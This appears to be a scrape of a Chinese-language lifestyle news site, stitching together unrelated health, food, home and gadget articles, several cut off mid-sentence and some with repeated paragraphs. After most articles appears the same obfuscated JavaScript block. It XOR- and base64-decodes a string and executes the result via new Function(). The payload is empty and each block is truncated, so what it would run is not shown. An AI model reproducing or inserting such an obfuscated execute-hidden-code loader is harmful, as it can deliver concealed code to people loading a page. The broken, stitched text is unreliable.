霉菌（如曲霉菌、青霉菌）：释放的孢子会随水雾或气流被吸入呼吸道，诱发慢性咳嗽、打喷嚏、鼻塞，甚至呼吸困难。
饮管杯装4类饮品最易惹菌
除了清水，不少人习惯用饮管杯冲泡各种饮品，这会大幅加剧水杯藏污纳垢的风险。赵医生警告，以下4类饮品最容易在杯内残留变质：
蛋白粉及乳制品：蛋白质在室温下极易附着在管壁，凝固后极难冲洗干净，令细菌繁殖速度急增。
奶茶、含糖饮品：高糖分是微生物的“豪华大餐”，一旦残留，细菌便会大量繁殖。
柠檬水、果汁：果酸和果糖残留不仅养菌，酸性成分更会加速矽胶密封圈老化，缩短水杯的使用寿命。
咖啡：咖啡因和油脂容易附着在饮管内壁，若清洗不彻底就会产生异味，同时大量滋生细菌。
必学深层清洗消毒饮管杯5部曲
使用饮管杯，最好做到“即用即洗”，并每周至少进行一次深度消毒。具体操作可按以下5个步骤进行：
1.拆
将饮管、吸嘴、矽胶密封圈、重力球等所有配件全部拆开，不留死角。
2.刷
使用专用的幼长饮管刷反复刷洗，重点处理U型弯折处，确保刷毛覆蓋内壁所有区域。
3.浸
对付顽固污渍，可使用温水加入10%白醋，或食用梳打粉溶液浸泡20至30分钟，软化生物膜后再刷洗。
4.消
矽胶配件可用滚水煮3至5分钟消毒；塑胶杯体部件则建议用40℃左右温水配合食品级清洁剂清洗，避免高温导致变形老化。
5.晾
洗净后将所有配件倒转放在通风处彻底晾干，然后才重新组装。饮管及矽胶密封圈建议每3至6个月更换一次；一旦出现异味或变色，应立刻淘汰。
资料来源：《人民日报健康时报》
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var...
紓壓玩具有毒？泰國查獲近2萬件無認證「捏捏樂」或含重金屬致癌物 恐傷肝損生殖系統
近年流行的“捏捏乐”纾压玩具，造型可爱，声称有助减压，深受年轻人喜爱。然而，这类玩具的安全风险近日引起关注。泰国官方日前在曼谷查获了近2万件无认证的“捏捏乐”玩具，警告“毒玩具”可能含有不合格的化学物质，恐影响健康！内地官方机构曾检测“捏捏乐”，发现部分样本总挥发性有机物及二甲苯释放量超标，长期接触会影响神经系统及生殖健康。
毒玩具｜纾压玩具恐含重金属人工香精
泰媒报道，泰国工业标准局官员日前在曼谷三攀市场查扣逾19,000件未获认证的纾压玩具，总值超过100万泰铢。当局对6家大型批发商及零售点展开调查，其中1家为未经许可的进口商，其余5家贩售不符标准产品。泰国工业标准局秘书长表示，涉事玩具未标示泰国工业标准（มอก.）认证，可能含有不合格化学物质、重金属及人工香精，存恐致癌风险。
（图：Ch.7 Thailand）
据悉，内地也曾有不少市民表示“捏捏乐”玩具有安全问题，甲醛量超标；有不少人反馈接触后更出现喉咙痛、手指溃烂等症状，甚至有人自爆患癌，风险极高。
毒玩具｜TVOC及二甲苯超标 塑化剂损生殖系统
河北省产品品质安全检测技术中心针对“捏捏乐”玩具进行风险监测，参考相关标准检测挥发性有机物（TVOC）释放量及二甲苯释放量。结果发现，部分样本2项指标均不符合要求。专家指出，TVOC主要来自玩具原料合成及加工过程中残留的小分子，以及使用期间的化学老化降解。
1.邻苯二甲酸酯类塑化剂是常见添加物，容易从产品释放，经呼吸道、皮肤进入人体，具有干扰内分泌及生殖毒性，长期过量接触可能损害男性生殖能力，或导致女性性早熟。
2.苯系化合物（如甲苯、二甲苯、乙苯） 则具急慢性毒性，会刺激皮肤黏膜，对中枢神经系统具麻醉作用，严重可损害肝脏及造血功能，降低免疫力。
毒玩具｜儿童风险最高 家长需加强看护
检测机构提醒，儿童使用“捏捏乐”时可能发生啃咬、舔舐或长时间皮肤接触，玩耍后若未洗手即进食，容易将有害物质带入体内。由于儿童身体发育尚未成熟，有害化学物质对其影响远比成人严重。成人因抵抗力较强，且误用机率较低，风险相对较低，但仍不宜长期密闭空间内大量接触。
专家建议消费者，避免购买来历不明或“三无”（无生产厂家、无地址、无商标）产品，若产品散发强烈化学气味，应避免购买；玩耍时忌啃咬及舔舐，用后最好清洁双手。
资料来源：Channel 7 Thailand 、河北省产品品质安全检测技术中心
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();(function(){
var x46eaa6=6026;
if(x46eaa6>0){var...
初級大人必學！粟米烚得耐軟爛無味？即學最佳煮法鎖住鮮甜爽脆 煮後沖凍水保證粒粒爆汁！
自己烚粟米经常煮到软烂无味？想保留原汁原味的鲜甜口感，有美食作家公开黄金秘诀，其中煮完后立刻多做一个冲冻水的关键动作，更能保证粟米粒粒爆汁。
即学粟米最佳煮法锁住鲜甜爽脆
据外媒《Simply Recipes》报道，许多人经常不小心把甜粟米烚得太耐，大大破坏了原有的鲜甜口感。理想的甜粟米应该保留一点脆嫩的质地，确保咬下去时每一粒都会爆汁。美食作家Sara Bir特别分享了一个秘诀，确保大家在家也能煮出饱满香甜的完美粟米。
粟米最佳煮法锁住鲜甜爽脆
1. 滚水烚切忌超过5分钟
如果用滚水烚粟米，只需煮4至5分钟便已足够。大家大可设定计时器，毋须担心粟米会煮不熟。不过要注意，这种黄金时间最适用于新鲜采摘的粟米；如果粟米已经存放了一星期或以上，水分流失会令口感变硬，这时才需要较长的烹调时间。
2.煮后快速冲冻水
粟米烚了5分钟或更短时间后，应立刻捞起并冲冷水，以强行停止烹煮过程。这个冷水降温法与处理西兰花时需要浸冻水不同，大家只需将粟米放在隔水筛中，然后在厨房锌盆用冷水快速冲洗一下即可。这个简单的动作，正是保持粟米鲜甜脆嫩的致胜关键。
4大粟米保鲜与处理贴士
想让粟米保持饱满多汁的口感，料理时需要注意几个小技巧：
1.如果选择用滚水烚，时间不要超过四至五分钟。
2.如果不想在炎热的日子开炉煲水，把厨房弄得热气腾腾，其实可以尝试用微波炉来加热粟米。
3.买新鲜粟米回家后，切忌立刻剥去外层的叶，最好在准备烹调前一刻才剥开。不过，外露且湿软的棕色粟米须则可以先撕掉。
4.为了保持粟米的天然甜味，买回家后应尽快放入雪柜冷藏。如果雪柜空间不足，将其存放在保冷箱内也是一个不错的选择。
资料来源：《Simply Recipes》
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var...
補腦食乜好？營養師推介6大活腦營養素 雞蛋/燕麥/魚類列必食清單
生活忙碌、压力又大，不少上班族都容易出现“脑雾”——思绪变慢、注意力下降、记忆力减退。许多人以为这是年纪增长的必然结果，但其实大脑健康与饮食息息相关，靠食的确可补脑、活脑！
6大关键营养素 打造学习力与专注力
营养师高敏敏在个人专页分享，大脑虽然只占体重约2%，却消耗全身约20%的能量，每天吃进去的食物，直接影响大脑表现。她建议将以下6大活脑营养素融入日常餐单，助大家思考清晰、提升工作效率。
1. 优质蛋白质
食物来源：鸡蛋、乳酪
作用：提供脑部发育所需原料，帮助神经传导物质合成，维持神经系统正常运作。早餐吃一颗鸡蛋，有助激活大脑。
2. Omega-3脂肪酸
食物来源：海藻类、鱼类（如三文鱼、鲭鱼）
作用：维持神经元细胞膜健康，支持学习与记忆功能，对脑部正常发育至关重要。每周进食两至三次深海鱼，有助补充所需。
3. 卵磷脂
食物来源：鸡蛋
作用：脑细胞的重要组成成分，帮助神经讯号传递，支持记忆与学习能力。蛋黄中的卵磷脂含量丰富，不建议弃掉蛋黄。
4. 维他命、矿物质与植化素
食物来源：绿色蔬菜（如菠菜、西兰花）
作用：保护脑细胞健康，帮助神经系统正常运作，支持脑部发育。每日进食足够蔬菜，有助维持认知功能。
5. 花青素与多酚
食物来源：综合莓果（如蓝莓、士多啤梨）
作用：帮助抗氧化，减少自由基对脑细胞的伤害，维持脑细胞健康。可作为日常零食或加入乳酪食用。
6. β-葡聚糖与膳食纤维
食物来源：燕麦、全谷类
作用：提供稳定能量来源，帮助维持专注力，同时增加膳食纤维摄取，促进肠道健康。
均衡饮食胜过单一保健品
高敏敏提醒，别期望单靠一种保健食品就能变聪明，真正影响大脑表现的，其实是每天的生活习惯与饮食选择。以下的5个好习惯有助护脑：
多喝水：保持大脑水分平衡，有助提升反应力。
规律作息：充足睡眠有助记忆巩固与学习能力。
少油少盐：稳定血糖，保护血管健康。
避免过量饮酒：酒精影响大脑功能，应适可而止。
适度运动：促进血液循环，提升专注力与思维清晰度。
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new...
長輩狂追AI短劇恐陷腦腐 專家：可能影響認知能力 教6大警號自我檢測
近期 AI 生成的短剧于各大社交平台急速爆红，吸引许多人沉迷追剧，当中包括退休族群与长辈，因而引发家人的焦虑与担忧。一名网民近日在Threads上分享，母亲近来沉迷于 AI 短剧，几乎24小时都在看，感叹长大后变成子女每天叮咛父母放下手机。
长辈狂追AI短剧恐陷脑腐
网民在 Threads 发文分享，自己的母亲沉迷 AI 短剧，无论吃饭、下厨、上厕所甚至睡前都刷个不停，已经快找不到妈妈了。网友坦言，小时候总被父母劝戒少玩手机，没想到如今角色互换。
其他网友深感共鸣，纷纷留言，“叫也叫不动，讲也讲不听！要怎么样才能让他们戒掉”、“我妈也沦陷了。跟她讲话，直接被忽略”、“记得有次断网，长辈就会马上精神崩溃”。有网友表示，初次观看 AI 影片时虽惊叹其高完成度与技术进步，但看多后便发现弊端，角色外貌同质化严重，且剧情多局限于重复套路，新鲜感迅速退去。
沉迷AI短剧可能影响认知能力
根据牛津大学出版社的定义，“脑腐（Brain Rot）”是指长期接触过度碎片化或缺乏深度的内容，进而导致精神与智力退化。在短视频与社群媒体盛行的科技时代，这种现象正凸显出现代社会普遍忽视思考深度，转而追捧简单与肤浅内容的倾向。
根据《中时新闻网》报导，义大利帕多瓦大学教授加莱亚齐（Alessandro Galeazzi）也警示，社群平台上充斥大量低品质的 AI 内容，即便观众清楚影片纯属虚构搞笑，仍可能加速“脑腐（brain rot）”现象，因习惯快速接收无意义资讯而损害长期认知能力。
脑腐的6大警号
留意以下6大警号，若发现自己符合多项，就是时候调整生活与上网的习惯了：
注意力缩短：无法阅读长文，习惯看短视频或懒人包。
丧失批判性思维：抗拒严肃或知识性内容，只偏好搞笑短片，长久下来可能会使大脑失去批判性思考和学习能力。
过度依赖工具：依赖AI，习惯直接要答案，削弱记忆与解决复杂问题的能力。
缺乏资讯筛选能力：面对海量讯息无从分辨真伪与重点，容易盲目跟风。
社交退化与冷漠：缺乏实体互动导致孤独感与同理心下降。
心灵空虚不快乐：习惯靠滑影片或追剧消磨时间，事后却只感到空虚，难以获得持久的幸福感。
资料来源：Threads、《中时新闻网》
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var...
廁所/廚房排水管淤塞用鹽越通越塞？專家拆解3大通渠陷阱 倒1物恐致爆喉漏水
厕所和厨房塞渠，网传用食盐可悭钱通渠？专家警告这偏方有3大陷阱，会令喉管越通越塞，其中倒1物更可能会令爆喉漏水。
专家拆解3大通渠陷阱 倒1物恐致爆喉漏水
据外媒《House Digest》报道，社交媒体上经常流传各种自行疏通洗手盆和去水渠的家居偏方。不少人以为只需使用常见的厨房调味料，就能快速解决塞渠烦恼，当中以“食盐加滚水”的通渠秘技最为受欢迎。网民声称，先将盐倒入去水渠，再用滚水冲洗，便可利用盐的粗糙微粒摩擦喉管内壁，令污垢松脱；甚至有人声称盐会与油脂发生反应以化解淤塞。然而，专家指出这其实是大错特错的迷思。
从化学角度来看，食盐的结构非常稳定（钠离子与氯离子之间存在强大的离子键），根本不会轻易与油脂微粒发生结合反应。更重要的是，对于浴室去水渠最常见的淤塞元凶——“头发缠结”，食盐根本起不到任何分解作用。
相反，如果每隔几天就倒盐入渠，极容易导致喉管被严重腐蚀。专家考虑到盐的通渠效果存疑，更会衍生其他喉管问题，因此强烈警告大众：“绝对不建议这样做！”主要有以下3大原因：
拆解3大通渠陷阱
1.固体积聚随时越通越塞
即使深信盐的粗糙质地能带走污垢，但实际上需要倒入极大量的盐（至少半杯以上）才可能有些微摩擦力。而且，普通平价幼盐的效果远不如高价的粗粒结晶盐。将大量固体颗粒倒入原本已经淤塞的去水渠，不但对严重塞渠无效，反而会令固体沉淀积聚，加剧堵塞。
2.无法根除坑渠异味
很多人以为盐水可以消除洗手盆的异味，但长远来看这亦是收效甚微的“伪偏方”。因为食盐根本无法彻底消灭导致异味的细菌及污垢根源，治标不治本。
3.倒滚水恐致爆喉漏水
这个偏方最危险的步骤在于倒滚水，如果家中使用的是陶瓷洗手盆，突如其来的高温极可能导致瓷盆瞬间爆裂。此外，若使用PVC胶喉，水的沸点高达摄氏100度，而PVC胶喉的最高安全工作温度仅为摄氏60度左右。滚水的高温冲击会令胶喉无法承受，加速其磨损及老化。最终引发喉管漏水或爆裂破损，届时你需要承担极昂贵的搭棚维修或更换费用。
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var...
英國研究：5種食物防腐劑增患癌風險 亞硝酸鈉增前列腺癌風險32%
食物防腐剂能有效延长食品的保存期限并减少腐坏，在现代食品工业中广泛应用，但同时亦可能对人体健康造成潜在危害。肾脏科医生江守山引述一项研究，指出摄取过量特定防腐剂会增加患乳癌及前列腺癌风险，当中5款防腐剂最危险！
研究详细记录品牌饮食 追踪官方癌症数据
该项大型研究共追踪 105,260 名 15 岁或以上的参与者，平均年龄为 42 岁，其中近八成为女性。所有受试者在参与研究初期均未有罹患癌症，并在平均长达 7.5 年的追踪期间，定期详细填写 24 小时品牌特定饮食纪录。研究人员随后结合健康问卷、官方医疗数据及死亡纪录，全面追踪参与者截至 2023 年底的癌症诊断情况，重点分析柠檬酸、卵磷脂、山梨酸钾及亚硝酸钠等 17 种常见添加剂的长期影响。
5款防腐剂与高致癌率相关
研究人员将防腐剂分为“非抗氧化型”与“抗氧化型”两大类：前者主要用于抑制微生物滋生或减缓化学腐败；后者则透过减少氧气接触来延缓变质。分析结果显示，摄取过多其中 5 款防腐剂与更高的癌症风险密切相关，且全数属于“非抗氧化型”防腐剂：
山梨酸钾（E202）：广泛用于糕点与酱料，包括番茄酱、沙律酱
焦亚硫酸钾（E224）：常用于干果与酒精饮料，包括葡萄酒、啤酒、果酒
亚硝酸钠（E250）：加工肉类常见添加剂，包括香肠、火腿、腊肉、烟肉、午餐肉
硝酸钾（E249）：加工肉类常见添加剂，包括香肠、火腿、腊肉、烟肉、午餐肉
乙酸（E260，即醋酸）：主要用于调味与防腐，包括碳酸饮料、薯片、虾条
山梨酸钾增乳癌风险 亚硝酸钠增前列腺癌风险32%
数据指出，摄取过量山梨酸盐（特别是山梨酸钾），与整体癌症风险增加 14% 以及乳癌风险增加 26% 相关；总亚硫酸盐则与整体癌症风险增加 12%...
科技｜Mago Maga Roma-X智能咖啡烘豆機 逾260種產地設定、6級烘焙 300克一次完成
对咖啡爱好者而言，自行烘焙生豆可以更精细控制咖啡风味，但烘焙时间、温度及不同阶段的掌握都有一定门槛。咖啡设备品牌Mago Maga推出新一代Roma-X智能热风咖啡烘豆机，加入AI自动化烘焙功能，并提供超过260种按咖啡豆产地而设的烘焙设定，让用户在家中亦可较容易控制咖啡豆的风味、醇厚度及香气。
Roma-X是品牌Roma Pro的后继型号，机身采用阳极氧化铝合金制造，配备玻璃烘焙室，每次最多可处理300克（10.5安士）咖啡生豆。厂方表示，这个份量大约足以冲调37杯Espresso，或18杯Americano。
Roma-X的主要卖点之一，是将AI引入咖啡豆烘焙流程。机身正面设有5寸彩色触控屏幕，用户可从超过260种按咖啡豆产地而设的烘焙设定中选择，另提供6个可自订的烘焙程度，再由AI协助自动完成整个烘焙过程。
对希望进一步控制烘焙效果的用户，Roma-X亦可显示烘焙时间、温度、烘焙曲线、发展阶段及整体进度。除了直接透过机身屏幕查看，亦可以蓝牙连接手机，实时监察烘焙状况。
系统同时会自动记录每一次烘焙资料，用户找到合适的设定后，下次处理同类咖啡豆时便可重新套用，有助减少每批咖啡豆烘焙效果出现差异。
Roma-X机身占地约339 × 163毫米（13.3 × 6.4寸），并加入减少烘焙烟雾的系统。咖啡豆烘焙时脱落的银皮，则会由专用收集盘处理，而当中的过滤器亦可拆下清洁。
产品另一较特别之处，是随机附送一个设有滚轮的运输箱，除了方便收藏，亦针对需要携带烘豆机外出的用户。
Mago Maga现正透过Kickstarter为Roma-X众筹。产品预计零售价为1,498美元，众筹期间则提供799美元优惠价，并包括运输箱。截至原文刊出时，Roma-X已筹得超过14万美元。
若计划顺利，首批产品预计于2026年11月开始向全球出货，运费需要另外支付，例如美国及加拿大每部运费为59美元。
图片：Mago Maga
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var...
「懶人煮麵法」滾水倒入即食麵包裝 網民擔心塑化劑超標 附食安中心指引
近年网上疯传一段影片，有网民分享看到同事直接将滚水倒入即食面的塑胶包装袋内，夹紧袋口焗数分钟即可食用，感叹“看同事这么吃，我终于懂当初设计的巧思了”，这种全程免洗碗盘的“懒人煮面法”引起不少人好奇试用，不过恐怕存在食安风险！
“懒人煮面法”惹吃塑料隐忧 各类物料耐热性有差异
影片随即引发大批网民对食品安全的担忧，纷纷留言热议：“吃塑料”、“都毒”、“塑胶都卷起来了”、“满满的塑化剂”、“溶出塑化剂与化学物质对身体吸收很快”。事实上，这种源于韩国军队的吃法喺当地极为流行，因袋装面比杯面更易收纳而大受欢迎，但背后的健康隐忧却不容忽视。
针对这类直接在包装袋内冲泡即食面的做法，食物安全中心曾公开呼吁市民提高警觉。食安中心指出，即食面包装袋可由多种不同的塑胶物料制造，各类物料在耐热性、抗酸碱能力以及耐油程度等特性上均有显著差异。在直接冲泡的过程中，用于制造塑胶的化学物或添加剂有可能会迁移至食物中，而迁移量的多寡则取决于食物特性、接触温度及时间等因素。
塑胶分类标签：第3类、第7类塑胶加热易释出有害物
想了解即食面包装是否适合承受高温，关键在于留意包装上记录的塑胶分类标签。若包装袋属于第五类塑胶聚丙烯（PP），一般在摄氏 140 度才会变软，且不含不饱和塑化剂，理应相对安全。若包装袋采用第三类（PVC）或第七类（其他塑胶），则需特别提防；例如聚氯乙烯（PVC）在加热后可能释出氯化物等有害物质，若包装添加了塑化剂，更会对人体健康构成威胁。
若包装袋采用第三类（PVC）或第七类（其他塑胶），则需特别提防；例如聚氯乙烯（PVC）在加热后可能释出氯化物等有害物质，若包装添加了塑化剂，更会对人体健康构成威胁。
近年网上疯传一段影片，有网民分享看到同事直接将滚水注入即食面的塑胶包装袋内，夹紧袋口焗数分钟即可食用，感叹“看同事这么吃，我终于懂当初设计的巧思了”
影片随即引发大批网民对食品安全的担忧，纷纷留言热议：“吃塑料”、“都毒”、“塑胶都卷起来了”。
食物安全中心曾公开呼吁市民提高警觉。
即食面包装袋可由多种不同的塑胶物料制造，各类物料在耐热性、抗酸碱能力以及耐油程度等特性上均有显著差异。
塑化剂易溶于油性食物环境 过量吸收或引致儿童发育异常
食安中心特别提醒，虽然正确生产的食品接触物料安全性较高，但塑化剂具有极易溶于油脂的特性，因此含塑化剂的塑胶物料绝不应用于盛载油性食物，而即食面本身正是含有高油脂的食品。虽然少量塑化剂可经由人体自然排出，但若长期或过量吸收，将会引发严重的健康问题。国立成功大学的研究发现，体内塑化剂暴露量过高，会显著增加八岁以下女童出现乳房提早发育及月经早到的风险。
建议使用适当容器烹调
为确保饮食安全，食物安全中心强烈建议市民应遵从食物制造商的指引，将即食面倒入适当的容器内进行烹调。在日常使用任何塑胶食物容器时，亦应严格遵守有关温度上限及微波炉使用的标示。只要按照正确方法使用适当的餐具，化学物迁移量便会微不足道，不会对消费者健康构成风险，切勿为了贪一时方便而得不偿失。
资料来源：Threads、食物安全中心
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();(function(){
var x46eaa6=6026;
if(x46eaa6>0){var...
不要只喝綠茶！研究證每日喝1種飲品集7大功效 防癌/糖尿病/高血壓
以为养生只能喝绿茶？有营养师引述多项权威研究指出，每日喝1种饮品不仅能改善高血压，更隐藏防癌、降血糖及大降中风风险等7大功效。
研究证每日喝1种饮品集7大功效 防癌/糖尿病/高血压
营养师科提斯于Facebook专页发文指，千万别忽略血压偏高的问题，因为高血压可能导致心脏衰竭、心脏病发作、中风、肾脏受损及动脉粥样硬化等多种致命并发症。若发现血压偏高，除了要及早求医、按时服药及配合健康饮食外，不妨先戒掉含糖饮品，改为喝红茶。研究显示，长期饮用红茶不仅有助改善血压状况，更具备以下7大功效：
红茶集7大功效
1.降低心血管病发生率
Gardner等人的研究分析了1990至2004年间关于红茶的数据，发现定期饮用红茶可显著降低患上心脏疾病的风险；研究亦指出，每天饮用3杯红茶，能显著改善体内的抗氧化状况。
2.调节血脂
Davies等人的研究发现，高胆固醇患者在饮食中搭配红茶，可有效降低“低密度脂蛋白胆固醇”（LDL-c，俗称坏胆固醇）。
3.对抗肥胖
Pan等人的研究指出，红茶多酚可抑制脂质与糖分的消化吸收，从而预防肥胖；同时能减少脂肪细胞增殖，促进脂质分解并减少脂肪囤积。
4.降低中风风险
Larsson等人对74,961名中风患者进行了长达10.2年的追踪研究，结果发现每天饮用4杯或以上的红茶，可抑制与中风相关的风险。另外，Arab等人的统合分析收集了来自9项研究、共194,965名成年人（包含4,378名中风患者）的数据，证实每天饮用3杯红茶即可降低中风风险。
5.预防癌症
Way等人的研究发现，红茶多酚中的茶黄素对激素依赖型乳癌肿瘤具有预防作用；Liang等人的研究亦证实，红茶多酚成分对肿瘤细胞能产生抗增殖活性。
6.降低糖尿病风险
Tanga等人的研究发现，红茶萃取物能降低血糖水平，并提升身体代谢糖分的能力。Butacnum等人的研究则指出，摄取红茶可以改善正常人及糖尿病前期患者的饭后血糖。
7.抗氧化
体内积聚过多自由基会提高氧化压力，损害核酸或蛋白质等生物分子，这是引发多种慢性疾病的核心源头。而红茶多酚具备强大的抗氧化功能，可中和自由基，降低氧化压力造成的后续伤害。
科提斯解释，红茶之所以拥有上述强大的健康功能，是因为它富含多酚类化合物——包括表儿茶素没食子酸酯（EGCG）、茶黄素（Theaflavins）、茶红素（Thearubigins）、L-茶氨酸（L-theanine）以及多种儿茶素与类黄酮。
但他特别提醒，虽然红茶拥有多种健康功效，但绝对不能取代正规医疗。大家亦无须过度纠结“到底每日喝多少最有效”，而是应将茶饮视为健康生活的一部分，配合规律运动、均衡进食天然原型食物等，共同打造强健体魄。
资料来源：营养师科提斯
T10(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var...
科技｜Nike智能拖鞋內置發熱震動按摩 15分鐘紓緩雙腳疲勞
运动品牌Nike再次将智能科技融入鞋履产品，宣布与运动恢复设备品牌Hyperice合作推出全新Air Zoom Hyperslide恢复拖鞋，内置发热及震动按摩功能，主要针对运动员于训练或比赛后进行足部恢复，同时亦适合长时间步行或旅行人士使用。
Air Zoom Hyperslide最大特色是在鞋面可调节鞋带内加入可拆式磁吸Hyperslide Pod模组，透过发热及震动功能，为脚背提供针对性放松。用户可选择三段发热及三段震动强度，最高加热温度达摄氏47度。Nike表示，建议每次使用约15分钟，有助减轻足部绷紧、放松肌肉，并支援日常恢复，方便运动员于下一场比赛、训练或健身前加快恢复状态。
Hyperslide Pod采用USB-C充电，充满电后可使用约1小时，相当于约六次10分钟恢复疗程。模组支援Bluetooth连接手机应用程式，用户可透过App调整发热及震动设定，按需要选择不同模式。
新产品可视为去年Nike与Hyperice推出的Hyperboot智能恢复靴的后继产品。相比售价高达800美元、加入发热及气压压缩技术的Hyperboot，Air Zoom Hyperslide改用拖鞋设计，外形较为日常，携带亦更方便。
